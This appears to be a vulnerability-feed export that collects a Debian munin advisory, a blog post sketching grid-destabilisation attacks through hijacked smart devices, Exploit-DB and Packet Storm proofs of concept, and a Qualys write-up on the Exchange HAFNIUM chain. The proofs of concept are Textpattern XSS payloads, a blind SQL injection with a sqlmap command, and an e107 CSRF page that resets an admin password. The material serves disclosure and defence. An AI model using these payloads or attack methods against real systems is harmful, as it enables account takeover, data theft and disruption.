{"id": "DEBIAN:DSA-3794-3:95892", "bulletinFamily": "unix", "title": "[SECURITY] [DSA 3794-3] munin regression update", "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-3794-3 security@debian.org\nhttps://www.debian.org/security/ Salvatore Bonaccorso\nMarch 03, 2017 https://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : munin\nDebian Bug : 856536\n\nThe update for munin issued as DSA-3794-2 caused a regression leading to\nPerl warnings being appended to the munin-cgi-graph log file. Updated\npackages are now available to correct this issue. For reference, the\noriginal advisory text follows.\n\nStevie Trujillo discovered a local file write vulnerability in munin, a\nnetwork-wide graphing framework, when CGI graphs are enabled. GET\nparameters are not properly handled, allowing to inject options into\nmunin-cgi-graph and overwriting any file accessible by the user running\nthe cgi-process.\n\nFor the stable distribution (jessie), this problem has been fixed in\nversion 2.0.25-1+deb8u3.\n\nWe recommend that you upgrade your munin packages.\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org\n", "published": "2017-03-03T20:08:33", "modified": "2017-03-03T20:08:33", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://lists.debian.org/debian-security-announce/debian-security-announce-2017/msg00055.html", "reporter": "Debian", "references": [], "cvelist": [], "type": "debian", "lastseen": "2020-08-12T00:51:29", "edition": 9, "viewCount": 49, "enchantments": {"dependencies": {"references": [{"type": "symantec", "idList": ["SMNTC-111398"]}, {"type": "threatpost", "idList": ["THREATPOST:01643D93E5C8B6F18CEF9BF8FA7BFF89", "THREATPOST:8A8E859062970130E3F91D160F03325C"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:22507355C87630C1D3B720E2ED98701A"]}, {"type": "mssecure", "idList": ["MSSECURE:1B9D394BEAC27E2255C33F9C4BEF28B7"]}, {"type": "openbugbounty", "idList": ["OBB:1256623", "OBB:1256640", "OBB:1256840", "OBB:1256825", "OBB:1256622", "OBB:1256732", "OBB:1256627", "OBB:1256624", "OBB:1256621", "OBB:1256626"]}, {"type": "thn", "idList": ["THN:7EC88D1EE2BF2C54F23228C61EC1A5B0"]}, {"type": "kitploit", "idList": ["KITPLOIT:2254048166979779983"]}, {"type": "talosblog", "idList": ["TALOSBLOG:E4E2B78D1C80F6EE30FD761F6E325131"]}], "modified": "2020-08-12T00:51:29", "rev": 2}, "score": {"value": 1.1, "vector": "NONE", "modified": "2020-08-12T00:51:29", "rev": 2}, "vulnersScore": 1.1}, "affectedPackage": [{"OS": "Debian", "OSVersion": "8", "arch": "all", "operator": "lt", "packageFilename": "munin-plugins-extra_2.0.25-1+deb8u3_all.deb", "packageName": "munin-plugins-extra", "packageVersion": "2.0.25-1+deb8u3"}, {"OS": "Debian", "OSVersion": "8", "arch": "all", "operator": "lt", "packageFilename": "munin-common_2.0.25-1+deb8u3_all.deb", "packageName": "munin-common", "packageVersion": "2.0.25-1+deb8u3"}, {"OS": "Debian", "OSVersion": "8", "arch": "all", "operator": "lt", "packageFilename": "munin-node_2.0.25-1+deb8u3_all.deb", "packageName": "munin-node", "packageVersion": "2.0.25-1+deb8u3"}, {"OS": "Debian", "OSVersion": "8", "arch": "all", "operator": "lt", "packageFilename": "munin-plugins-java_2.0.25-1+deb8u3_all.deb", "packageName": "munin-plugins-java", "packageVersion": "2.0.25-1+deb8u3"}, {"OS": "Debian", "OSVersion": "8", "arch": "all", "operator": "lt", "packageFilename": "munin-doc_2.0.25-1+deb8u3_all.deb", "packageName": "munin-doc", "packageVersion": "2.0.25-1+deb8u3"}, {"OS": "Debian", "OSVersion": "8", "arch": "all", "operator": "lt", "packageFilename": "munin_2.0.25-1+deb8u3_all.deb", "packageName": "munin", "packageVersion": "2.0.25-1+deb8u3"}, {"OS": "Debian", "OSVersion": "8", "arch": "all", "operator": "lt", "packageFilename": "munin-plugins-core_2.0.25-1+deb8u3_all.deb", "packageName": "munin-plugins-core", "packageVersion": "2.0.25-1+deb8u3"}, {"OS": "Debian", "OSVersion": "8", "arch": "all", "operator": "lt", "packageFilename": "munin-async_2.0.25-1+deb8u3_all.deb", "packageName": "munin-async", "packageVersion": "2.0.25-1+deb8u3"}], "scheme": null}

{"pentestpartners": [{"lastseen": "2021-03-04T13:27:27", "bulletinFamily": "blog", "cvelist": [], "description": "\n\nIn the UK we are used to having a reliable and stable electricity grid. So stable that you can keep time with it.\n\nBefore quartz clocks became common, mains powered clocks used the electricity grid frequency of 50Hz as their time reference, you can still find the odd central heating timer or old alarm clock that still uses it.\n\n\n\n##### (Image credit: [Wikimedia](<https://commons.wikimedia.org/wiki/File:Digital-clock-alarm.jpg>))\n\n### Frequency Response\n\nHere is a quick overview on how it is done, but just to note, I\u2019m not an expert. If you want to know more there is plenty to read on the [National Grid ESO website](<https://www.nationalgrideso.com/>).\n\nTo keep the 50Hz frequency stable, the National Grid are continuously adding and removing generating capacity in response to the varying load, this is called [Frequency Response](<https://www.nationalgrideso.com/industry-information/balancing-services/frequency-response-services>).\n\nThe graphs below show the grid frequency and demand for the last hour, and the demand over the last 24 hours, ref: <https://extranet.nationalgrid.com/RealTime>\n\n\n\n##### Figure 1: Frequency over 1 hour\n\n\n\n##### Figure 2: Grid demand over 1 hour\n\n\n\n##### Figure 3: Grid demand over 24 hours\n\nAs can be seen the demand can change by 100\u2019s of MW in a very short time and in today\u2019s numbers over 18GW between 6pm and 3am.\n\n### The current state\n\nIn years gone by, the majority of the power generated was from large steam turbines at coal or nuclear power stations. All these turbines and generators provided massive stability and momentum from 1,000\u2019s and 1,000\u2019s of tons of spinning metal. It was a non-competitive world and there was plenty of capacity in reserve for the odd bump or problem.\n\nEnter the modern world, where an increasing percentage of our electricity comes from renewables, without all that rotating mass and momentum to absorb any faults or sudden changes in load.\n\nIn order to keep the grid stable, the National Grid contracts capacity that can be rapidly turned on or off to balance the varying usage, spikes in demand or faults. This frequency response reserve capacity is split into three categories, each level has limited reserve, typically, the bigger, the slower:\n\n * Primary: Response &lt; 1 second, sustainable for 20 seconds\n * Secondary: Response &lt; 10 second, sustainable for 30 minutes\n * Fast: Response &lt; 10 second, sustainable indefinitely\n\nThe contracts for this capacity are auctioned, with bidders offering a wide range of solutions to the problem, this can be from a large power station to aggregating supermarket freezers and turning them all off for a few seconds when demand peaks.\n\n### Many hands make the lights work\n\nIt seems strange that turning off freezers or leaning on household Tesla batteries would make much difference. When many hundreds or thousands of small generators or supermarket freezers are aggregated together it adds up to quite a large amount of load that can be turned off within a few seconds, freezers that have a big thermal mass do not care about being off for a few minutes, or batteries that can provide or absorb power as needed.\n\nThis is the basis of \u201cDemand Side Response\u201d that can be used in smart grids to help balance the load and stabilise the frequency.\n\n### Faulty towers\n\nIn the event of there being a fault on the grid, generators connecting to the grid are required to comply with strict rules and limits, these codes dictate such things as why and when a generator should disconnect from the grid and when it should reconnect.\n\nFor example, a generator should disconnect if the voltage or frequency falls below, or goes above certain limits, others include earth faults or over current. Usually the generator would automatically re-connect as soon as the cause of the fault is removed.\n\n### The day the Earth stood still (OK, just a bit of the UK)\n\nOn August 9th 2019, something of a perfect storm happened, a lightning strike on part of the national electricity transmission system caused a fault and some small generators to disconnect. Near-simultaneously, two large generators experienced technical issues and were unable to continue providing power.\n\nAs a result, the grid frequency fell rapidly, this in turn caused multiple generators to disconnect as a result of the under-frequency fault.\n\nThe combined losses of generation went beyond the reserve capacity available; this triggered what is called \u201cdemand disconnection\u201d. A pre-planned disconnection by the electricity distributors of large areas allowing the grid demand to be rapidly reduced and stability restored. This then allows the generating capacity to recover and the controlled re-connection of supplies.\n\nThe investigation found that many generators had disconnected too soon and not all the reserve capacity that had been contracted was available. Power was restored in 45 minutes, however the ongoing disruption from isolated trains etc. lasted most of the day.\n\n### The smart gridlock\n\nThere are many, many smart devices (think small generators, batteries, building management systems, etc.) . From years of research we know that **smart** and **secure** are often mutually exclusive.\n\nSo, we all know that it\u2019s not a great leap to imagine a scenario where an attacker could take control.\n\nAlso consider the effectiveness of large aggregations of relatively small electrical loads or generators can have on maintaining grid stability.\n\nNow what would happen if the tables were turned and these aggregated assets were used to deliberately destabilise the grid?\n\n### Attack scenarios\n\nMethod 1: Deplete primary frequency response on under frequency, if primary response could be sufficiently depleted, subsequent low frequency events could cause other generators to trip and cause a cascade effect:\n\n * Turn all generators off and all load on\n * Wait at least 5 seconds then turn all the generators back on and all the load off again, would need to be complete before 10 seconds\n * Wait ~ 10 seconds and repeat\n\nMethod 2: Monitor grid frequency, attempt to create frequency instability:\n\n * Turn all generators off and all load on, for long enough so the secondary reserve responds\n * Hopefully there would be a small over frequency swing\n * Restore generators, turn load off\n * Hopefully there would be a bigger over frequency swing\n * Turn all generators off and all load on\n * Whilst monitoring grid response adjust timing and attempt to amplify / find resonance in the response\n\nMethod 3: Long term mayhem, target operators, manufacturers and smart grid market:\n\n * Randomly turn generators and load off in an attempt to simulate reliability issues\n * Start small, get a reputation of unreliability\n * Ramp up, especially outside normal working hours\n\nTargeting multiple small installations from multiple manufacturers, and ideally from multiple attack locations, would be very difficult to trace and mitigate.\n\nThe post [Security Blog](<https://www.pentestpartners.com/security-blog/>) first appeared on [Pen Test Partners](<https://www.pentestpartners.com>).", "modified": "2021-03-04T07:23:01", "published": "2021-03-04T07:23:01", "id": "PENTESTPARTNERS:BB17E195BE1EC69F4D5A0257D3D566FA", "href": "https://www.pentestpartners.com/security-blog/grid-locked/", "type": "pentestpartners", "title": "Grid. Locked.", "cvss": {"score": 0.0, "vector": "NONE"}}], "exploitdb": [{"lastseen": "2021-03-04T13:29:28", "description": "", "published": "2021-03-04T00:00:00", "type": "exploitdb", "title": "Textpattern CMS 4.8.4 - &#039;Comments&#039; Persistent Cross-Site Scripting (XSS)", "bulletinFamily": "exploit", "cvelist": [], "modified": "2021-03-04T00:00:00", "id": "EDB-ID:49616", "href": "https://www.exploit-db.com/exploits/49616", "sourceData": "# Exploit Title: Textpattern CMS 4.8.4 - 'Comments' Persistent Cross-Site Scripting (XSS)\r\n# Date: 2021-03-04\r\n# Exploit Author: Tushar Vaidya\r\n# Vendor Homepage: https://textpattern.com\r\n# Software Link: https://textpattern.com/start\r\n# Version: v 4.8.4\r\n# Tested on: Windows\r\n\r\nSteps-To-Reproduce:\r\n1. Login into Textpattern CMS admin panel.\r\n2. Now go to the *Content > C**omments > Message*.\r\n3. Now paste the below payload in the URL field.\r\n\r\nBa1man\u201d><img src=x onerror=confirm(document.location)>\r\n\r\n4. Now click on the *Save* button.\r\n5. Now go to the https://site.com/articles/welcome-to-your-site#comments-head\r\n5. The XSS will be triggered.", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://www.exploit-db.com/download/49616"}, {"lastseen": "2021-03-04T13:29:28", "description": "", "published": "2021-03-04T00:00:00", "type": "exploitdb", "title": "Textpattern CMS 4.9.0-dev - &#039;Excerpt&#039; Persistent Cross-Site Scripting (XSS)", "bulletinFamily": "exploit", "cvelist": [], "modified": "2021-03-04T00:00:00", "id": "EDB-ID:49617", "href": "https://www.exploit-db.com/exploits/49617", "sourceData": "# Exploit Title: Textpattern CMS 4.9.0-dev - 'Excerpt' Persistent Cross-Site Scripting (XSS)\r\n# Date: 2021-03-04\r\n# Exploit Author: Tushar Vaidya\r\n# Vendor Homepage: https://textpattern.com\r\n# Software Link: https://textpattern.com/start\r\n# Version: v 4.9.0-dev\r\n# Tested on: Windows\r\n\r\nSteps-To-Reproduce:\r\n1. Login into Textpattern CMS admin panel.\r\n2. Now go to the *Content > Write > ** Excerpt*.\r\n3. Now paste the below payload in the URL field.\r\n\r\nBa1man\u201d><img src=x onerror=confirm(document.cookie)>\r\n\r\n4. Now click on the *Save* button.\r\n5. Now go to the *articles* page\r\n5. The XSS will be triggered.", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://www.exploit-db.com/download/49617"}, {"lastseen": "2021-03-04T13:29:28", "description": "", "published": "2021-03-04T00:00:00", "type": "exploitdb", "title": "Online Ordering System 1.0 - Blind SQL Injection (Unauthenticated)", "bulletinFamily": "exploit", "cvelist": [], "modified": "2021-03-04T00:00:00", "id": "EDB-ID:49618", "href": "https://www.exploit-db.com/exploits/49618", "sourceData": "# Exploit Title: Online Ordering System 1.0 - Blind SQL Injection (Unauthenticated)\r\n# Date: 2021-03-04\r\n# Exploit Author: Suraj Bhosale\r\n# Vendor Homepage: https://www.sourcecodester.com\r\n# Software Link: https://www.sourcecodester.com/php/5125/online-ordering-system-using-phpmysql.html\r\n# Version: v1.0\r\n# Vulnerable endpoint: http://localhost/onlineordering/GPST/admin/design.php?id=9\r\n# Vulnerable Parameter: id\r\n\r\n*Steps to Reproduce:*\r\n1) Visit\r\nhttp://localhost/onlineordering/GPST/admin/design.php?id=12'%20and%20sleep(20)%20and%20'1'='1 and you will see a time delay of 20 Sec in response.\r\n2) Now fire up the following command into SQLMAP.\r\n\r\nCMD: sqlmap -u http://localhost/onlineordering/GPST/admin/design.php?id=9\r\n<http://localhost/onlineordering/GPST/admin/design.php?id=9%27%20and%20sleep(20)%20and%20%271%27=%271>*\r\n--batch --dbs\r\n\r\n3) Using the above command we will get the name of all the database.", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://www.exploit-db.com/download/49618"}, {"lastseen": "2021-03-04T08:29:57", "description": "", "published": "2021-03-04T00:00:00", "type": "exploitdb", "title": "e107 CMS 2.3.0 - CSRF", "bulletinFamily": "exploit", "cvelist": ["CVE-2021-27885"], "modified": "2021-03-04T00:00:00", "id": "EDB-ID:49614", "href": "https://www.exploit-db.com/exploits/49614", "sourceData": "# Exploit Title: e107 CMS 2.3.0 - CSRF\r\n# Date: 04/03/2021\r\n# Exploit Author: Tadjmen\r\n# Vendor Homepage: https://e107.org\r\n# Software Link: https://e107.org/download\r\n# Version: 2.3.0\r\n# Tested on: Windows 10\r\n# CVE : CVE-2021-27885\r\n\r\nCSRF vulnerability on e107 CMS\r\n\r\n## Bug Description\r\nHi. I found a CSRF on the e107 CMS. Hacker can change password any user click the link.\r\n\r\n## How to Reproduce\r\nSteps to reproduce the behavior:\r\n1. Create a CSRF login POC using the following code.\r\n\r\n```\r\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\r\n\r\n<html>\r\n<head>\r\n<title>Cross Site Request Forgery (Edit Existing Admin details)</title>\r\n</head>\r\n\r\n<body onload=\"javascript:fireForms()\">\r\n<script language=\"JavaScript\">\r\n\r\nfunction fireForms()\r\n{\r\n var count = 2;\r\n var i=0;\r\n\r\n for(i=0; i<count; i++)\r\n {\r\n document.forms[i].submit();\r\n }\r\n}\r\n\r\n</script>\r\n\r\n<H2>Cross Site Request Forgery (Edit Existing Admin details)</H2>\r\n\r\n<form method=\"POST\" name=\"form0\" action=\"\r\nhttp://localhost/[path-to-e107-cms]/usersettings.php\">\r\n\r\n<input type=\"hidden\" name=\"loginname\" value=\"admin\"/>\r\n<input type=\"hidden\" name=\"email\" value=\"[email]\"/>\r\n<input type=\"hidden\" name=\"password1\" value=\"[password]\"/>\r\n<input type=\"hidden\" name=\"password2\" value=\"[password]\"/>\r\n<input type=\"hidden\" name=\"hideemail\" value=\"1\"/>\r\n<input type=\"hidden\" name=\"image\" value=\"\"/>\r\n<input type=\"hidden\" name=\"signature\" value=\"\"/>\r\n<input type=\"hidden\" name=\"updatesettings\" value=\"Save settings\"/>\r\n<input type=\"hidden\" name=\"_uid\" value=\"2\"/>\r\n\r\n\r\n\r\n\r\n</form>\r\n\r\n</body>\r\n</html>\r\n```\r\n\r\n\r\n2. Replace the email and password with the valid credentials.\r\n3. Send the link script to the victim (admin) to make them click.\r\n4. Login with new admin password", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://www.exploit-db.com/download/49614"}], "packetstorm": [{"lastseen": "2021-03-04T15:45:31", "description": "", "published": "2021-03-04T00:00:00", "type": "packetstorm", "title": "Textpattern CMS 4.8.4 Cross Site Scripting", "bulletinFamily": "exploit", "cvelist": [], "modified": "2021-03-04T00:00:00", "id": "PACKETSTORM:161658", "href": "https://packetstormsecurity.com/files/161658/Textpattern-CMS-4.8.4-Cross-Site-Scripting.html", "sourceData": "`# Exploit Title: Textpattern CMS 4.8.4 - 'Comments' Persistent Cross-Site Scripting (XSS) \n# Date: 2021-03-04 \n# Exploit Author: Tushar Vaidya \n# Vendor Homepage: https://textpattern.com \n# Software Link: https://textpattern.com/start \n# Version: v 4.8.4 \n# Tested on: Windows \n \nSteps-To-Reproduce: \n1. Login into Textpattern CMS admin panel. \n2. Now go to the *Content > C**omments > Message*. \n3. Now paste the below payload in the URL field. \n \nBa1man\u201d><img src=x onerror=confirm(document.location)> \n \n4. Now click on the *Save* button. \n5. Now go to the https://site.com/articles/welcome-to-your-site#comments-head \n5. The XSS will be triggered. \n \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/161658/textpatterncms484-xss.txt"}, {"lastseen": "2021-03-04T15:43:24", "description": "", "published": "2021-03-04T00:00:00", "type": "packetstorm", "title": "Textpattern CMS 4.9.0-dev Cross Site Scripting", "bulletinFamily": "exploit", "cvelist": [], "modified": "2021-03-04T00:00:00", "id": "PACKETSTORM:161659", "href": "https://packetstormsecurity.com/files/161659/Textpattern-CMS-4.9.0-dev-Cross-Site-Scripting.html", "sourceData": "`# Exploit Title: Textpattern CMS 4.9.0-dev - 'Excerpt' Persistent Cross-Site Scripting (XSS) \n# Date: 2021-03-04 \n# Exploit Author: Tushar Vaidya \n# Vendor Homepage: https://textpattern.com \n# Software Link: https://textpattern.com/start \n# Version: v 4.9.0-dev \n# Tested on: Windows \n \nSteps-To-Reproduce: \n1. Login into Textpattern CMS admin panel. \n2. Now go to the *Content > Write > ** Excerpt*. \n3. Now paste the below payload in the URL field. \n \nBa1man\u201d><img src=x onerror=confirm(document.cookie)> \n \n4. Now click on the *Save* button. \n5. Now go to the *articles* page \n5. The XSS will be triggered. \n \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/161659/textpatterncms490-xss.txt"}, {"lastseen": "2021-03-04T15:43:32", "description": "", "published": "2021-03-04T00:00:00", "type": "packetstorm", "title": "Online Ordering System 1.0 SQL Injection", "bulletinFamily": "exploit", "cvelist": [], "modified": "2021-03-04T00:00:00", "id": "PACKETSTORM:161655", "href": "https://packetstormsecurity.com/files/161655/Online-Ordering-System-1.0-SQL-Injection.html", "sourceData": "`# Exploit Title: Online Ordering System 1.0 - Blind SQL Injection (Unauthenticated) \n# Date: 2021-03-04 \n# Exploit Author: Suraj Bhosale \n# Vendor Homepage: https://www.sourcecodester.com \n# Software Link: https://www.sourcecodester.com/php/5125/online-ordering-system-using-phpmysql.html \n# Version: v1.0 \n# Vulnerable endpoint: http://localhost/onlineordering/GPST/admin/design.php?id=9 \n# Vulnerable Parameter: id \n \n*Steps to Reproduce:* \n1) Visit \nhttp://localhost/onlineordering/GPST/admin/design.php?id=12'%20and%20sleep(20)%20and%20'1'='1 and you will see a time delay of 20 Sec in response. \n2) Now fire up the following command into SQLMAP. \n \nCMD: sqlmap -u http://localhost/onlineordering/GPST/admin/design.php?id=9 \n<http://localhost/onlineordering/GPST/admin/design.php?id=9%27%20and%20sleep(20)%20and%20%271%27=%271>* \n--batch --dbs \n \n3) Using the above command we will get the name of all the database. \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/161655/oos10-sql.txt"}, {"lastseen": "2021-03-04T15:43:29", "description": "", "published": "2021-03-04T00:00:00", "type": "packetstorm", "title": "e107 CMS 2.3.0 Cross Site Request Forgery", "bulletinFamily": "exploit", "cvelist": ["CVE-2021-27885"], "modified": "2021-03-04T00:00:00", "id": "PACKETSTORM:161651", "href": "https://packetstormsecurity.com/files/161651/e107-CMS-2.3.0-Cross-Site-Request-Forgery.html", "sourceData": "`# Exploit Title: e107 CMS 2.3.0 - CSRF \n# Date: 04/03/2021 \n# Exploit Author: Tadjmen \n# Vendor Homepage: https://e107.org \n# Software Link: https://e107.org/download \n# Version: 2.3.0 \n# Tested on: Windows 10 \n# CVE : CVE-2021-27885 \n \nCSRF vulnerability on e107 CMS \n \n## Bug Description \nHi. I found a CSRF on the e107 CMS. Hacker can change password any user click the link. \n \n## How to Reproduce \nSteps to reproduce the behavior: \n1. Create a CSRF login POC using the following code. \n \n``` \n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\"> \n \n<html> \n<head> \n<title>Cross Site Request Forgery (Edit Existing Admin details)</title> \n</head> \n \n<body onload=\"javascript:fireForms()\"> \n<script language=\"JavaScript\"> \n \nfunction fireForms() \n{ \nvar count = 2; \nvar i=0; \n \nfor(i=0; i<count; i++) \n{ \ndocument.forms[i].submit(); \n} \n} \n \n</script> \n \n<H2>Cross Site Request Forgery (Edit Existing Admin details)</H2> \n \n<form method=\"POST\" name=\"form0\" action=\" \nhttp://localhost/[path-to-e107-cms]/usersettings.php\"> \n \n<input type=\"hidden\" name=\"loginname\" value=\"admin\"/> \n<input type=\"hidden\" name=\"email\" value=\"[email]\"/> \n<input type=\"hidden\" name=\"password1\" value=\"[password]\"/> \n<input type=\"hidden\" name=\"password2\" value=\"[password]\"/> \n<input type=\"hidden\" name=\"hideemail\" value=\"1\"/> \n<input type=\"hidden\" name=\"image\" value=\"\"/> \n<input type=\"hidden\" name=\"signature\" value=\"\"/> \n<input type=\"hidden\" name=\"updatesettings\" value=\"Save settings\"/> \n<input type=\"hidden\" name=\"_uid\" value=\"2\"/> \n \n \n \n \n</form> \n \n</body> \n</html> \n``` \n \n \n2. Replace the email and password with the valid credentials. \n3. Send the link script to the victim (admin) to make them click. \n4. Login with new admin password \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/161651/e107cms230-xsrf.txt"}], "qualysblog": [{"lastseen": "2021-03-03T22:27:34", "bulletinFamily": "blog", "cvelist": ["CVE-2021-26412", "CVE-2021-26854", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27078"], "description": "On March 2nd, [Microsoft released](<https://techcommunity.microsoft.com/t5/exchange-team-blog/released-march-2021-exchange-server-security-updates/ba-p/2175901>) a set of out-of-band security updates to address critical remote code execution vulnerabilities in Microsoft Exchange Server. According to Microsoft these vulnerabilities are actively being exploited in the wild, and hence it is recommended to patch them immediately.\n\nTo detect vulnerable instances, Qualys released QID 50107 which detects all vulnerable instances of Exchange server. This QID is included in VULNSIGS-2.5.121-4 version and above.\n\nCVEs addressed as part of this QID are: CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065, CVE-2021-27078.\n\nAmong the above CVEs, [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>), [CVE-2021-26857](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857>), [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>), [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>) are being actively targeted in the wild using zero-day exploits. Microsoft attributes these attacks with high confidence to the HAFNIUM (Chinese cyber spy) threat actor group. These vulnerabilities are related to the following versions of Exchange Server:\n\n * Exchange Server 2013\n * Exchange Server 2016\n * Exchange Server 2019\n\nAt the time of the security update release the vulnerabilities affect only on-premises Microsoft Exchange Server installations. Exchange online is not affected.\n\n### CVE Technical Details\n\n**[CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>)** is a Server-Side Request Forgery (SSRF) vulnerability that allows attackers to send arbitrary HTTP requests and authenticate to on-premise Exchange server. Attackers can also trick the Exchange server to execute arbitrary commands by exploiting this vulnerability.\n\n**[CVE-2021-26857](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857>)** is an insecure deserialization vulnerability in the Unified Messaging service. Insecure deserialization is where untrusted user-controllable data is deserialized by a program. Attackers who successfully exploit this vulnerability can run their code as SYSTEM on the Exchange server. \n\n**[CVE-2021-26858](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>)** is a post-authentication arbitrary file write vulnerability in Exchange. Exploiting this vulnerability could allow an attacker to write a file to any part of the target Exchange server. Attackers exploiting this vulnerability could write a file to any path on the target Exchange server.\n\n**[CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>)** is a post-authentication arbitrary file write vulnerability in Exchange. Similar to CVE-2021-26858, exploiting this vulnerability could allow an attacker to write a file to any path of the target Exchange server.\n\n### Attack Chain\n\nMicrosoft has provided details regarding how the HAFNIUM (threat actor) group is exploiting the above-mentioned critical CVEs. Following sequence of steps summarizes Microsoft\u2019s findings.\n\n 1. The initial step in the attack chain includes the threat actor group making an untrusted connection to the target Exchange server (on port 443) using CVE-2021-26855.\n 2. After successfully establishing the connection, the threat actor group exploits CVE-2021-26857 that gives them ability to run code as SYSTEM on the target Exchange server. This requires administrator permission or another vulnerability to exploit.\n 3. As part of their post-authentication actions, the threat actor group exploits [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>) and [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>) and proceeds to writing files to any path of the target server.\n\nIt has been observed that after gaining the initial access, the threat actor group deployed web shells on the target compromised server.\n\n### Discover and Remediate the Zero-Day Vulnerabilities Using Qualys VMDR\n\n##### Identification of Assets Using Qualys VMDR\n\nThe first step in managing these critical vulnerabilities and reducing risk is identification of assets. [Qualys VMDR](<https://www.qualys.com/apps/vulnerability-management-detection-response/>) makes it easy to identify Windows Exchange server systems.\n\nQuery: _operatingSystem.category:Server and operatingSystem.category1:`Windows` and software:(name:Microsoft Exchange Server)_\n\n\n\nOnce the hosts are identified, they can be grouped together with a \u2018dynamic tag\u2019, let\u2019s say \u2013 \u201cExchange Server 0-day\u201d. This helps in automatically grouping existing hosts with the 0-days as well as any new Windows Exchange server that spins up in your environment. Tagging makes these grouped assets available for querying, reporting and management throughout the [Qualys Cloud Platform](<https://www.qualys.com/cloud-platform/>).\n\n##### Discover Exchange Server Zero-Day Vulnerabilities\n\nNow that hosts with the 0-days are identified, you want to detect which of these assets have flagged this vulnerability. VMDR automatically detects new vulnerabilities like these based on the always updated Knowledge Base (KB).\n\nYou can see all your impacted hosts for this vulnerability tagged with the \u2018Exchange Server 0-day\u2019 asset tag in the vulnerabilities view by using this QQL query:\n\nVMDR query: `vulnerabilities.vulnerability.qid:50107`\n\n\n\nQID 50107 is available in signature version VULNSIGS-2.5.121-4 and above and can be detected using authenticated scanning or the [Qualys Cloud Agent](<https://www.qualys.com/cloud-agent/>) manifest version 2.5.121.4-3 and above.\n\nWith VMDR Dashboard, you can track &#x27;Exchange 0-day&#x27;, impacted hosts, their status and overall management in real-time. With trending enabled for dashboard widgets, you can keep track of the vulnerability trends in your environment using the Exchange Server 0-Day Dashboard.\n\n**Dashboard**: [Exchange Server 0-Day Dashboard | Critical Global View](<https://qualys-secure.force.com/customer/s/article/000006564>)\n\n\n\n##### Response by Patching and Remediation\n\nVMDR rapidly remediates the Windows hosts by deploying the most relevant and applicable per-technology version patches. You can simply select \u201cqid: 50107\u201d in the Patch Catalog and filter on the \u201cMissing\u201d patches to identify and deploy the applicable, available patches in one go for hosts grouped together by a tag \u2013 Exchange Server 0-day.\n\n\n\nSecurity updates are available for the following specific versions of Exchange:\n\n * Exchange Server 2010 (RU 31 for Service Pack 3 \u2013 this is a defense-in-depth update)\n * Exchange Server 2013 (CU 23)\n * Exchange Server 2016 (CU 19, CU 18)\n * Exchange Server 2019 (CU 8, CU 7)\n\nUsers are encouraged to apply patches as soon as possible.\n\n### Post Compromise Detection Details\n\n##### Discover Confirmed Compromise Using Qualys EDR\n\nPost exploitation, an adversary can perform the following activity:\n\nUse legitimate utilities such as procdump or the rundll32 comsvcs.dll method to dump the LSASS process memory. Presumably, this follows exploitation via CVE-2021-26857 as these methods do need administrative privileges.\n\n\n\nUse 7-Zip or WinRar to compress files for exfiltration.\n\n\n\nUse PowerShell based remote administration tools such as Nishang &amp; PowerCat to exfiltrate this data.\n\n\n\nTo maintain persistent access on compromised systems, adversaries may also create a domain user account and install ASPX and PHP based web shells for command and control. Information about their probable location and their related hashes are mentioned below.\n\n**Web shell hashes**:\n \n \n b75f163ca9b9240bf4b37ad92bc7556b40a17e27c2b8ed5c8991385fe07d17d0\n 097549cf7d0f76f0d99edf8b2d91c60977fd6a96e4b8c3c94b0b1733dc026d3e\n 2b6f1ebb2208e93ade4a6424555d6a8341fd6d9f60c25e44afe11008f5c1aad1\n 65149e036fff06026d80ac9ad4d156332822dc93142cf1a122b1841ec8de34b5\n 511df0e2df9bfa5521b588cc4bb5f8c5a321801b803394ebc493db1ef3c78fa1\n 4edc7770464a14f54d17f36dc9d0fe854f68b346b27b35a6f5839adf1f13f8ea\n 811157f9c7003ba8d17b45eb3cf09bef2cecd2701cedb675274949296a6a183d\n 1631a90eb5395c4e19c7dbcbf611bbe6444ff312eb7937e286e4637cb9e72944\n\n**Web shell paths**:\n\n`C:\\inetpub\\wwwroot\\aspnet_client\\ \nC:\\inetpub\\wwwroot\\aspnet_client\\system_web\\ \n%PROGRAMFILES%\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\ \n%PROGRAMFILES%\\Microsoft\\Exchange Server\\V14\\FrontEnd\\HttpProxy\\owa\\auth\\ \nC:\\Exchange\\FrontEnd\\HttpProxy\\owa\\auth\\`\n\n### References\n\n * 